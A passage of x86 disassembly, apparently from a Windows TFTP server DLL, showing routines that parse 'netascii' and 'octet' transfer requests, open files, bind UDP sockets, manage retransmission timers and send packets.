		cmp	[esi+10028h], ebx
		jnz	short loc_1002AEA
		mov	eax, [esi+10000h]
		lea	ecx, [esi+10000h]
		shl	eax, 1
		mov	edx, 2710h
		mov	[ecx], eax
		cmp	eax, edx
		jbe	short loc_1002AEA
		mov	[ecx], edx


loc_1002AEA:				; CODE XREF: sub_1002A3D+90j
					; sub_1002A3D+A9j
		mov	eax, [esi+10000h]
		push	eax
		push	eax
		push	edi
		push	dword_10060A0
		call	ds:RtlUpdateTimer	; RtlUpdateTimer
		cmp	eax, ebx
		jz	short loc_1002B4C
		call	ds:GetLastError
		jmp	short loc_1002B4C
; ---------------------------------------------------------------------------


loc_1002B0B:				; CODE XREF: sub_1002A3D+26j
		cmp	esi, ebx
		jz	short loc_1002B57
		push	offset aTimeout	; "Timeout"
		push	ebx		; hostshort
		push	dword ptr [esi+20h] ; s
		lea	eax, [esi+28h]
		push	ebx		; int
		push	eax		; to
		call	sub_100230A
		mov	eax, [esi+10004h]
		lea	edi, [esi+10004h]
		cmp	eax, ebx
		jz	short loc_1002B40
		push	ebx
		push	eax
		push	dword_10060A0
		call	ds:RtlDeleteTimer	; RtlDeleteTimer


loc_1002B40:				; CODE XREF: sub_1002A3D+F3j
		mov	[edi], ebx
		mov	dword ptr [esi+10008h],	4


loc_1002B4C:				; CODE XREF: sub_1002A3D+84j
					; sub_1002A3D+C4j ...
		cmp	esi, ebx
		jz	short loc_1002B57
		push	esi		; lpCriticalSection
		call	ds:LeaveCriticalSection


loc_1002B57:				; CODE XREF: sub_1002A3D+17j
					; sub_1002A3D+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_1002A3D	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_1002B5E(LPCRITICAL_SECTION lpCriticalSection, int)

sub_1002B5E	proc near		; CODE XREF: sub_1002EC8+3Dp

var_4		= dword	ptr -4
lpCriticalSection= dword ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		mov	ebx, ds:ntohs
		push	ebp
		push	esi
		mov	esi, [esp+10h+lpCriticalSection]
		push	edi
		mov	edi, [esp+14h+arg_4]
		xor	ebp, ebp
		mov	eax, [esi+10018h]
		push	4		; netshort
		mov	[esp+18h+var_4], ebp
		mov	[edi+20h], eax
		call	ebx ; ntohs
		cmp	[edi+34h], ax
		jnz	short loc_1002BA6
		mov	ax, [esi+10014h]
		push	eax		; netshort
		call	ebx ; ntohs
		cmp	[edi+36h], ax
		jnz	short loc_1002BA6
		and	dword ptr [esi+1000Ch],	0
		push	1
		pop	ebp
		jmp	short loc_1002BCE
; ---------------------------------------------------------------------------


loc_1002BA6:				; CODE XREF: sub_1002B5E+2Aj
					; sub_1002B5E+3Aj
		mov	ax, [edi+36h]
		push	eax		; netshort
		call	ebx ; ntohs
		mov	ax, [edi+34h]
		push	eax		; hostshort
		call	ds:htons	; htons
		push	4		; netshort
		call	ebx ; ntohs
		cmp	[edi+34h], ax
		jnz	short loc_1002BCE
		mov	ax, [esi+10014h]
		dec	ax
		push	eax		; netshort
		call	ebx ; ntohs


loc_1002BCE:				; CODE XREF: sub_1002B5E+46j
					; sub_1002B5E+62j
		test	ebp, ebp
		jz	loc_1002C96
		cmp	dword ptr [esi+10030h],	0
		jz	short loc_1002C1C
		mov	eax, [esi+10004h]
		lea	edi, [esi+10004h]
		test	eax, eax
		jz	short loc_1002BFE
		push	0
		push	eax
		push	dword_10060A0
		call	ds:RtlDeleteTimer	; RtlDeleteTimer


loc_1002BFE:				; CODE XREF: sub_1002B5E+8Fj
		and	dword ptr [edi], 0
		mov	dword ptr [esi+10008h],	4


loc_1002C0B:				; CODE XREF: sub_1002B5E+DBj
					; sub_1002B5E+13Ej ...
		push	esi		; lpCriticalSection
		call	ds:LeaveCriticalSection
		xor	eax, eax


loc_1002C14:				; CODE XREF: sub_1002B5E+183j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_1002C1C:				; CODE XREF: sub_1002B5E+7Fj
		inc	word ptr [esi+10014h]
		push	edi
		push	esi
		call	sub_10027E1
		mov	ebp, eax
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_1002C3B
		mov	ax, [edi+0Eh]
		push	eax		; netshort
		call	ebx ; ntohs
		jmp	short loc_1002C0B
; ---------------------------------------------------------------------------


loc_1002C3B:				; CODE XREF: sub_1002B5E+D2j
		cmp	[esi+10028h], eax
		mov	[esi+1000Ch], eax
		mov	[esi+10008h], eax
		jnz	short loc_1002C59
		mov	dword ptr [esi+10000h],	3E8h


loc_1002C59:				; CODE XREF: sub_1002B5E+EFj
		mov	ecx, [esi+10004h]
		cmp	ecx, eax
		jz	short loc_1002C78
		mov	eax, [esi+10000h]
		push	eax
		push	eax
		push	ecx
		push	dword_10060A0
		call	ds:RtlUpdateTimer	; RtlUpdateTimer


loc_1002C78:				; CODE XREF: sub_1002B5E+103j
		mov	eax, [esi+1001Ch]
		cmp	eax, [edi+20h]
		jnb	short loc_1002C9A
		mov	ax, [edi+0Eh]
		push	eax		; netshort
		call	ebx ; ntohs
		mov	dword ptr [esi+10030h],	1
		jmp	short loc_1002C9A
; ---------------------------------------------------------------------------


loc_1002C96:				; CODE XREF: sub_1002B5E+72j
		mov	ebp, [esp+14h+var_4]


loc_1002C9A:				; CODE XREF: sub_1002B5E+123j
					; sub_1002B5E+136j
		test	ebp, ebp
		jz	loc_1002C0B
		mov	ax, [edi+0Eh]
		push	eax		; netshort
		call	ebx ; ntohs
		add	edi, 0Ch
		push	10h		; tolen
		push	edi		; to
		push	0		; flags
		push	dword ptr [esi+10020h] ; len
		lea	eax, [esi+38h]
		push	eax		; buf
		push	dword ptr [esi+20h] ; s
		call	ds:sendto	; sendto
		cmp	eax, 0FFFFFFFFh
		jnz	loc_1002C0B
		call	ds:WSAGetLastError	; WSAGetLastError
		test	esi, esi
		jz	short loc_1002CDE
		push	esi		; lpCriticalSection
		call	ds:LeaveCriticalSection


loc_1002CDE:				; CODE XREF: sub_1002B5E+177j
		push	1
		pop	eax
		jmp	loc_1002C14
sub_1002B5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_1002CE6(LPCRITICAL_SECTION lpCriticalSection, int)

sub_1002CE6	proc near		; CODE XREF: sub_1002EC8+34p

var_4		= dword	ptr -4
lpCriticalSection= dword ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, ds:ntohs
		push	esi
		mov	esi, [ebp+lpCriticalSection]
		push	edi
		mov	edi, [ebp+arg_4]
		push	3		; netshort
		mov	eax, [esi+10018h]
		mov	[edi+20h], eax
		call	ebx ; ntohs
		cmp	[edi+34h], ax
		jnz	short loc_1002D3A
		mov	ax, [esi+10014h]
		inc	ax
		push	eax		; netshort
		call	ebx ; ntohs
		cmp	[edi+36h], ax
		jnz	short loc_1002D3A
		inc	word ptr [esi+10014h]
		xor	ebx, ebx
		mov	[ebp+var_4], 1
		mov	[esi+10008h], ebx
		jmp	short loc_1002D9D
; ---------------------------------------------------------------------------


loc_1002D3A:				; CODE XREF: sub_1002CE6+28j
					; sub_1002CE6+3Aj
		push	3		; netshort
		call	ebx ; ntohs
		cmp	[edi+34h], ax
		jnz	short loc_1002D9B
		mov	ax, [esi+10014h]
		push	eax		; netshort
		call	ebx ; ntohs
		cmp	[edi+36h], ax
		jnz	short loc_1002D9B
		mov	ebx, ds:htons
		push	4		; hostshort
		call	ebx ; htons
		mov	[esi+38h], ax
		mov	ax, [esi+10014h]
		push	eax		; hostshort
		call	ebx ; htons
		add	edi, 0Ch
		push	10h		; tolen
		mov	[esi+3Ah], ax
		push	edi		; to
		push	0		; flags
		lea	eax, [esi+38h]
		push	4		; len
		push	eax		; buf
		push	dword ptr [esi+20h] ; s
		call	ds:sendto	; sendto
		cmp	eax, 0FFFFFFFFh
		jnz	loc_1002EB3
		call	ds:WSAGetLastError	; WSAGetLastError
		jmp	loc_1002EB3
; ---------------------------------------------------------------------------


loc_1002D9B:				; CODE XREF: sub_1002CE6+5Cj
					; sub_1002CE6+6Cj
		xor	ebx, ebx


loc_1002D9D:				; CODE XREF: sub_1002CE6+52j
		cmp	[ebp+var_4], ebx
		jz	short loc_1002DE4
		lea	eax, [ebp+arg_4]
		push	eax
		mov	eax, [edi+2Ch]
		push	dword ptr [esi+10030h]
		sub	eax, 4
		push	eax
		lea	eax, [edi+38h]
		push	eax
		push	dword ptr [esi+1002Ch]
		call	sub_100373A
		cmp	[ebp+var_4], ebx
		mov	[ebp+lpCriticalSection], eax
		jz	short loc_1002DE4
		cmp	eax, ebx
		jge	short loc_1002DF7
		push	ebx		; int
		push	3		; hostshort
		push	dword ptr [edi+8] ; s
		lea	eax, [edi+0FFF1h]
		add	edi, 0Ch
		push	eax		; int
		push	edi		; to
		call	sub_100230A


loc_1002DE4:				; CODE XREF: sub_1002CE6+BAj
					; sub_1002CE6+E2j
		cmp	esi, ebx
		jz	short loc_1002DEF
		push	esi		; lpCriticalSection
		call	ds:LeaveCriticalSection


loc_1002DEF:				; CODE XREF: sub_1002CE6+100j
		push	1
		pop	eax
		jmp	loc_1002EBC
; ---------------------------------------------------------------------------


loc_1002DF7:				; CODE XREF: sub_1002CE6+E6j
		mov	eax, [edi+2Ch]
		sub	eax, 4
		cmp	eax, [edi+20h]
		ja	loc_1002EB3
		mov	ebx, ds:htons
		push	4		; hostshort
		call	ebx ; htons
		mov	[esi+38h], ax
		mov	ax, [esi+10014h]
		push	eax		; hostshort
		call	ebx ; htons
		mov	[esi+3Ah], ax
		lea	eax, [edi+0Ch]
		push	10h		; tolen
		xor	ebx, ebx
		push	eax		; to
		push	ebx		; flags
		lea	eax, [esi+38h]
		push	4		; len
		push	eax		; buf
		push	dword ptr [esi+20h] ; s
		call	ds:sendto	; sendto
		mov	[ebp+lpCriticalSection], eax
		mov	eax, [esi+10004h]
		cmp	eax, ebx
		jz	short loc_1002E74
		cmp	[esi+10028h], ebx
		mov	[esi+1000Ch], ebx
		jnz	short loc_1002E5F
		mov	dword ptr [esi+10000h],	3E8h


loc_1002E5F:				; CODE XREF: sub_1002CE6+16Dj
		mov	ecx, [esi+10000h]
		push	ecx
		push	ecx
		push	eax
		push	dword_10060A0
		call	ds:RtlUpdateTimer	; RtlUpdateTimer


loc_1002E74:				; CODE XREF: sub_1002CE6+15Fj
		cmp	[ebp+lpCriticalSection], 0FFFFFFFFh
		jnz	short loc_1002E80
		call	ds:WSAGetLastError	; WSAGetLastError


loc_1002E80:				; CODE XREF: sub_1002CE6+192j
		mov	eax, [edi+2Ch]
		sub	eax, 4
		cmp	eax, [edi+20h]
		jnb	short loc_1002EB3
		mov	eax, [esi+10004h]
		cmp	eax, ebx
		jz	short loc_1002EA3
		push	ebx
		push	eax
		push	dword_10060A0
		call	ds:RtlDeleteTimer	; RtlDeleteTimer


loc_1002EA3:				; CODE XREF: sub_1002CE6+1ADj
		mov	[esi+10004h], ebx
		mov	dword ptr [esi+10008h],	4


loc_1002EB3:				; CODE XREF: sub_1002CE6+A4j
					; sub_1002CE6+B0j ...
		push	esi		; lpCriticalSection
		call	ds:LeaveCriticalSection
		xor	eax, eax


loc_1002EBC:				; CODE XREF: sub_1002CE6+10Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_1002CE6	endp


; =============== S U B	R O U T	I N E =======================================



sub_1002EC3	proc near		; CODE XREF: sub_1002EC8+22p
					; sub_1002EC8+2Bp
		xor	eax, eax
		retn	8
sub_1002EC3	endp


; =============== S U B	R O U T	I N E =======================================



sub_1002EC8	proc near		; CODE XREF: sub_1001A91+254p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+8]
		call	sub_10028B5
		test	eax, eax
		jz	short loc_1002F0A
		mov	ecx, [eax+24h]
		dec	ecx
		jz	short loc_1002F03
		dec	ecx
		jz	short loc_1002EFA
		dec	ecx
		jz	short loc_1002EF1
		dec	ecx
		jnz	short loc_1002F0A
		push	esi
		push	eax
		call	sub_1002EC3
		jmp	short loc_1002F0A
; ---------------------------------------------------------------------------


loc_1002EF1:				; CODE XREF: sub_1002EC8+1Bj
		push	esi
		push	eax
		call	sub_1002EC3
		jmp	short loc_1002F0A
; ---------------------------------------------------------------------------


loc_1002EFA:				; CODE XREF: sub_1002EC8+18j
		push	esi		; int
		push	eax		; lpCriticalSection
		call	sub_1002CE6
		jmp	short loc_1002F0A
; ---------------------------------------------------------------------------


loc_1002F03:				; CODE XREF: sub_1002EC8+15j
		push	esi		; int
		push	eax		; lpCriticalSection
		call	sub_1002B5E


loc_1002F0A:				; CODE XREF: sub_1002EC8+Fj
					; sub_1002EC8+1Ej ...
		pop	esi
		retn	4
sub_1002EC8	endp


; =============== S U B	R O U T	I N E =======================================



sub_1002F0E	proc near		; CODE XREF: sub_1002F31+20p
					; sub_100333A+41p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		xor	eax, eax
		cmp	[esp+arg_4], eax
		jbe	short loc_1002F27


loc_1002F16:				; CODE XREF: sub_1002F0E+17j
		mov	ecx, [esp+arg_0]
		cmp	byte ptr [eax+ecx], 0
		jz	short loc_1002F2C
		inc	eax
		cmp	eax, [esp+arg_4]
		jb	short loc_1002F16


loc_1002F27:				; CODE XREF: sub_1002F0E+6j
		xor	eax, eax

locret_1002F29:				; CODE XREF: sub_1002F0E+21j
		retn	8
; ---------------------------------------------------------------------------


loc_1002F2C:				; CODE XREF: sub_1002F0E+10j
		push	1
		pop	eax
		jmp	short locret_1002F29
sub_1002F0E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1002F31	proc near		; CODE XREF: sub_1001A91+223p
					; DATA XREF: sub_1001A91+1FCo

name		= sockaddr ptr -28h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
to		= dword	ptr -8
Src		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		and	[ebp+var_10], 0
		and	[ebp+var_14], 0
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	0FFBAh
		lea	ebx, [esi+36h]
		push	ebx
		mov	[ebp+var_18], ebx
		call	sub_1002F0E
		test	eax, eax
		jz	loc_100330F
		mov	edi, ebx
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	10034h		; Size
		repne scasb
		not	ecx
		dec	ecx
		lea	eax, [ecx+ebx+1]
		mov	[ebp+Src], eax
		call	ds:malloc	; malloc
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_1003331
		mov	ecx, 400Dh
		xor	eax, eax
		mov	edi, ebx
		rep stosd
		push	dword ptr [esi+10h] ; in
		call	ds:inet_ntoa	; inet_ntoa
		mov	[ebp+to], eax
		mov	ax, [esi+0Eh]
		push	eax		; hostshort
		call	ds:htons	; htons
		mov	edi, [ebp+Src]
		mov	[ebp+var_C], edi
		mov	al, [edi]
		test	al, al
		jz	short loc_1002FCD


loc_1002FB5:				; CODE XREF: sub_1002F31+97j
		movsx	eax, al
		push	eax		; C
		call	ds:tolower	; tolower
		mov	[edi], al
		mov	al, [edi+1]
		inc	edi
		pop	ecx
		test	al, al
		jnz	short loc_1002FB5
		mov	[ebp+var_C], edi


loc_1002FCD:				; CODE XREF: sub_1002F31+82j
		mov	edi, [ebp+Src]
		mov	eax, offset aNetascii ;	"netascii"


loc_1002FD5:				; CODE XREF: sub_1002F31+C0j
		mov	dl, [edi]
		mov	cl, dl
		cmp	dl, [eax]
		jnz	short loc_1002FF7
		test	cl, cl
		jz	short loc_1002FF3
		mov	dl, [edi+1]
		mov	cl, dl
		cmp	dl, [eax+1]
		jnz	short loc_1002FF7
		inc	edi
		inc	edi
		inc	eax
		inc	eax
		test	cl, cl
		jnz	short loc_1002FD5


loc_1002FF3:				; CODE XREF: sub_1002F31+AEj
		xor	eax, eax
		jmp	short loc_1002FFC
; ---------------------------------------------------------------------------


loc_1002FF7:				; CODE XREF: sub_1002F31+AAj
					; sub_1002F31+B8j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_1002FFC:				; CODE XREF: sub_1002F31+C4j
		test	eax, eax
		jz	short loc_1003037
		mov	edi, [ebp+Src]
		mov	eax, offset aOctet ; "octet"


loc_1003008:				; CODE XREF: sub_1002F31+F3j
		mov	dl, [edi]
		mov	cl, dl
		cmp	dl, [eax]
		jnz	short loc_100302A
		test	cl, cl
		jz	short loc_1003026
		mov	dl, [edi+1]
		mov	cl, dl
		cmp	dl, [eax+1]
		jnz	short loc_100302A
		inc	edi
		inc	edi
		inc	eax
		inc	eax
		test	cl, cl
		jnz	short loc_1003008


loc_1003026:				; CODE XREF: sub_1002F31+E1j
		xor	eax, eax
		jmp	short loc_100302F
; ---------------------------------------------------------------------------


loc_100302A:				; CODE XREF: sub_1002F31+DDj
					; sub_1002F31+EBj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_100302F:				; CODE XREF: sub_1002F31+F7j
		test	eax, eax
		jnz	loc_10032F6


loc_1003037:				; CODE XREF: sub_1002F31+CDj
		mov	edi, [ebp+var_18]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esi+1FFADh]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	edx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		mov	[ebp+Src], edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	sub_100261E
		test	eax, eax
		jnz	short loc_1003071
		push	offset aMalformedFileN ; "Malformed file name"
		jmp	short loc_10030CB
; ---------------------------------------------------------------------------


loc_1003071:				; CODE XREF: sub_1002F31+137j
		push	[ebp+to]
		push	offset Data
		call	sub_10039D6
		test	eax, eax
		jnz	short loc_1003093
		push	[ebp+to]
		push	offset byte_1005D20
		call	sub_10039D6
		test	eax, eax
		jz	short loc_10030A4


loc_1003093:				; CODE XREF: sub_1002F31+14Fj
		push	[ebp+Src]
		push	offset byte_1005D58
		call	sub_10039D6
		test	eax, eax
		jnz	short loc_10030B0


loc_10030A4:				; CODE XREF: sub_1002F31+160j
		call	ds:_errno	; _errno
		push	0
		push	2
		jmp	short loc_1003100
; ---------------------------------------------------------------------------


loc_10030B0:				; CODE XREF: sub_1002F31+171j
		push	(offset	dword_1005E07+1) ; int
		push	0FFBCh		; int
		push	[ebp+Src]	; Src
		call	sub_100273D
		test	eax, eax
		jnz	short loc_10030CF
		push	offset aFileNameTooLon ; "File name too	long"


loc_10030CB:				; CODE XREF: sub_1002F31+13Ej
		push	0
		jmp	short loc_1003100
; ---------------------------------------------------------------------------


loc_10030CF:				; CODE XREF: sub_1002F31+193j
		push	8000h
		push	[ebp+Src]
		call	ds:_open	; _open
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebx+1002Ch], eax
		jnz	short loc_1003116
		mov	esi, ds:_errno
		call	esi ; _errno
		push	dword ptr [eax]	; dwErrCode
		call	ds:SetLastError
		call	esi ; _errno
		push	0
		push	1


loc_1003100:				; CODE XREF: sub_1002F31+17Dj
					; sub_1002F31+19Cj
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+8]
		lea	ecx, [eax+0FFF1h]
		add	eax, 0Ch
		push	ecx
		push	eax
		jmp	loc_1003308
; ---------------------------------------------------------------------------


loc_1003116:				; CODE XREF: sub_1002F31+1B7j
		mov	edi, ds:_lseek
		push	2
		push	0
		push	eax
		call	edi ; _lseek
		mov	esi, [ebp+arg_0]
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_1003140
		push	0
		push	0
		mov	[esi+24h], eax
		push	dword ptr [ebx+1002Ch]
		call	edi ; _lseek
		add	esp, 0Ch


loc_1003140:				; CODE XREF: sub_1002F31+1FBj
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_1003159
		mov	edi, ds:_errno
		call	edi ; _errno
		call	edi ; _errno
		push	dword ptr [eax]	; dwErrCode
		call	ds:SetLastError
		jmp	short loc_1003197
; ---------------------------------------------------------------------------


loc_1003159:				; CODE XREF: sub_1002F31+212j
		push	0		; protocol
		push	2		; type
		push	2		; af
		call	ds:socket	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+Src], edi
		jz	short loc_1003191
		mov	eax, [esi+1Ch]
		and	word ptr [ebp+name.sa_data], 0
		mov	dword ptr [ebp+name.sa_data+2],	eax
		lea	eax, [ebp+name]
		push	10h		; namelen
		push	eax		; name
		push	edi		; s
		mov	[ebp+name.sa_family], 2
		call	ds:bind	; bind
		test	eax, eax
		jz	short loc_10031A3


loc_1003191:				; CODE XREF: sub_1002F31+23Cj
		call	ds:WSAGetLastError	; WSAGetLastError


loc_1003197:				; CODE XREF: sub_1002F31+226j
		push	offset aInsufficientRe ; "Insufficient resources"
		push	0
		jmp	loc_10032FA
; ---------------------------------------------------------------------------


loc_10031A3:				; CODE XREF: sub_1002F31+25Ej
		push	ebx		; lpCriticalSection
		mov	[esi+8], edi
		call	ds:InitializeCriticalSection	; InitializeCriticalSection
		mov	[ebx+20h], edi
		add	esi, 0Ch
		lea	edi, [ebx+28h]
		mov	[ebp+to], esi
		movsd
		movsd
		movsd
		movsd
		xor	edi, edi
		push	edi		; lpName
		push	edi		; bInitialState
		push	edi		; bManualReset
		push	edi		; lpEventAttributes
		call	ds:CreateEventA	; CreateEventA
		cmp	eax, edi
		mov	[ebx+0FFF8h], eax
		jz	short loc_10031E8
		push	2		; char
		push	eax		; hEventObject
		push	[ebp+Src]	; s
		call	sub_100188E
		cmp	eax, edi
		mov	[ebx+0FFFCh], eax
		jnz	short loc_10031F3


loc_10031E8:				; CODE XREF: sub_1002F31+2A0j
		call	ds:GetLastError
		jmp	loc_1003312
; ---------------------------------------------------------------------------


loc_10031F3:				; CODE XREF: sub_1002F31+2B5j
		add	ebx, 18h
		push	ebx
		call	sub_100287F
		push	1
		pop	esi
		push	[ebp+Src]
		mov	[ebp+var_14], esi
		call	sub_10028B5
		mov	ebx, eax
		cmp	ebx, edi
		jz	loc_1003312
		lea	edi, [ebx+10028h]
		lea	eax, [ebx+38h]
		push	edi		; int
		push	eax		; int
		lea	eax, [ebx+10024h]
		mov	[ebp+var_10], esi
		push	eax		; int
		mov	eax, [ebp+var_C]
		push	esi		; int
		mov	esi, [ebp+arg_0]
		inc	eax
		push	eax		; Str1
		push	esi		; int
		call	sub_10023D8
		test	eax, eax
		jnz	loc_1003312
		cmp	[edi], eax
		jz	short loc_1003255
		mov	eax, [esi+28h]
		imul	eax, 3E8h
		mov	[ebx+10000h], eax
		jmp	short loc_100325F
; ---------------------------------------------------------------------------


loc_1003255:				; CODE XREF: sub_1002F31+311j
		mov	dword ptr [ebx+10000h],	3E8h


loc_100325F:				; CODE XREF: sub_1002F31+322j
		mov	eax, [ebx+10000h]
		push	0
		push	eax
		push	eax
		push	dword ptr [ebx+20h]
		lea	eax, [ebx+10004h]
		push	offset sub_1002A3D
		push	eax
		push	dword_10060A0
		call	ds:RtlCreateTimer	; RtlCreateTimer
		push	1
		pop	edi
		mov	[ebx+24h], edi
		mov	eax, [esi+20h]
		push	esi
		push	ebx
		mov	[ebx+10018h], eax
		mov	[ebx+10014h], di
		call	sub_10027E1
		push	10h		; tolen
		xor	ecx, ecx
		push	[ebp+to]	; to
		cmp	eax, ecx
		mov	[ebx+1000Ch], ecx
		push	ecx		; flags
		push	dword ptr [ebx+10020h] ; len
		jz	short loc_10032D9
		lea	eax, [ebx+38h]
		push	eax		; buf
		push	[ebp+Src]	; s
		call	ds:sendto	; sendto
		mov	ecx, [ebx+1001Ch]
		cmp	ecx, [esi+20h]
		jnb	short loc_10032E9
		mov	[ebx+10030h], edi
		jmp	short loc_10032E9
; ---------------------------------------------------------------------------


loc_10032D9:				; CODE XREF: sub_1002F31+386j
		add	esi, 0FFF1h
		push	esi		; buf
		push	[ebp+Src]	; s
		call	ds:sendto	; sendto


loc_10032E9:				; CODE XREF: sub_1002F31+39Ej
					; sub_1002F31+3A6j
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_1003312
		call	ds:WSAGetLastError	; WSAGetLastError
		jmp	short loc_1003312
; ---------------------------------------------------------------------------


loc_10032F6:				; CODE XREF: sub_1002F31+100j
		push	0		; int
		push	4		; hostshort


loc_10032FA:				; CODE XREF: sub_1002F31+26Dj
		push	dword ptr [esi+8] ; s
		lea	eax, [esi+0FFF1h]
		add	esi, 0Ch
		push	eax		; int
		push	esi		; to


loc_1003308:				; CODE XREF: sub_1002F31+1E0j
		call	sub_100230A
		jmp	short loc_1003312
; ---------------------------------------------------------------------------


loc_100330F:				; CODE XREF: sub_1002F31+27j
		mov	ebx, [ebp+arg_0]


loc_1003312:				; CODE XREF: sub_1002F31+2BDj
					; sub_1002F31+2DDj ...
		test	ebx, ebx
		jz	short loc_1003331
		cmp	[ebp+var_10], 0
		jz	short loc_1003323
		push	ebx		; lpCriticalSection
		call	ds:LeaveCriticalSection


loc_1003323:				; CODE XREF: sub_1002F31+3E9j
		cmp	[ebp+var_14], 0
		jnz	short loc_1003331
		push	ebx		; Memory
		call	ds:free	; free
		pop	ecx


loc_1003331:				; CODE XREF: sub_1002F31+50j
					; sub_1002F31+3E3j ...
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_1002F31	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100333A	proc near		; DATA XREF: sub_1001A91+20Fo

name		= sockaddr ptr -28h
to		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
Src		= dword	ptr -8
s		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		and	[ebp+var_10], 0
		and	[ebp+var_14], 0
		push	ebx
		push	esi
		push	edi
		push	10034h		; Size
		call	ds:malloc	; malloc
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_1003731
		mov	ecx, 400Dh
		xor	eax, eax
		mov	edi, ebx
		push	0FFBAh
		rep stosd
		mov	eax, [ebp+arg_0]
		lea	esi, [eax+36h]
		push	esi
		mov	[ebp+s], esi
		call	sub_1002F0E
		test	eax, eax
		jz	loc_1003712
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	edi, [ebp+arg_0]
		not	ecx
		push	dword ptr [edi+10h] ; in
		dec	ecx
		lea	esi, [ecx+esi+1]
		call	ds:inet_ntoa	; inet_ntoa
		mov	[ebp+to], eax
		mov	ax, [edi+0Eh]
		push	eax		; hostshort
		call	ds:htons	; htons
		cmp	byte ptr [esi],	0
		mov	edi, esi
		mov	[ebp+var_C], edi
		jz	short loc_10033E1


loc_10033BC:				; CODE XREF: sub_100333A+A2j
		movsx	eax, byte ptr [edi]
		push	eax		; C
		call	ds:isupper	; isupper
		test	eax, eax
		movsx	eax, byte ptr [edi]
		pop	ecx
		jz	short loc_10033D6
		push	eax		; C
		call	ds:tolower	; tolower
		pop	ecx


loc_10033D6:				; CODE XREF: sub_100333A+92j
		mov	[edi], al
		inc	edi
		cmp	byte ptr [edi],	0
		jnz	short loc_10033BC
		mov	[ebp+var_C], edi


loc_10033E1:				; CODE XREF: sub_100333A+80j
		mov	eax, offset aNetascii ;	"netascii"
		mov	edi, esi


loc_10033E8:				; CODE XREF: sub_100333A+CAj
		mov	dl, [edi]
		mov	cl, dl
		cmp	dl, [eax]
		jnz	short loc_100340A
		test	cl, cl
		jz	short loc_1003406
		mov	dl, [edi+1]
		mov	cl, dl
		cmp	dl, [eax+1]
		jnz	short loc_100340A
		inc	edi
		inc	edi
		inc	eax
		inc	eax
		test	cl, cl
		jnz	short loc_10033E8


loc_1003406:				; CODE XREF: sub_100333A+B8j
		xor	eax, eax
		jmp	short loc_100340F
; ---------------------------------------------------------------------------


loc_100340A:				; CODE XREF: sub_100333A+B4j
					; sub_100333A+C2j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_100340F:				; CODE XREF: sub_100333A+CEj
		test	eax, eax
		jnz	short loc_100341F
		mov	dword ptr [ebx+10030h],	4000h
		jmp	short loc_100345D
; ---------------------------------------------------------------------------


loc_100341F:				; CODE XREF: sub_100333A+D7j
		mov	edi, offset aOctet ; "octet"


loc_1003424:				; CODE XREF: sub_100333A+106j
		mov	cl, [esi]
		mov	al, cl
		cmp	cl, [edi]
		jnz	short loc_1003446
		test	al, al
		jz	short loc_1003442
		mov	cl, [esi+1]
		mov	al, cl
		cmp	cl, [edi+1]
		jnz	short loc_1003446
		inc	esi
		inc	esi
		inc	edi
		inc	edi
		test	al, al
		jnz	short loc_1003424


loc_1003442:				; CODE XREF: sub_100333A+F4j
		xor	eax, eax
		jmp	short loc_100344B
; ---------------------------------------------------------------------------


loc_1003446:				; CODE XREF: sub_100333A+F0j
					; sub_100333A+FEj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_100344B:				; CODE XREF: sub_100333A+10Aj
		test	eax, eax
		jnz	loc_10036F8
		mov	dword ptr [ebx+10030h],	8000h


loc_100345D:				; CODE XREF: sub_100333A+E3j
		mov	eax, [ebp+arg_0]
		mov	edi, [ebp+s]
		or	ecx, 0FFFFFFFFh
		lea	edx, [eax+1FFADh]
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		push	edx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		mov	[ebp+Src], edx
		shr	ecx, 2
		rep movsd
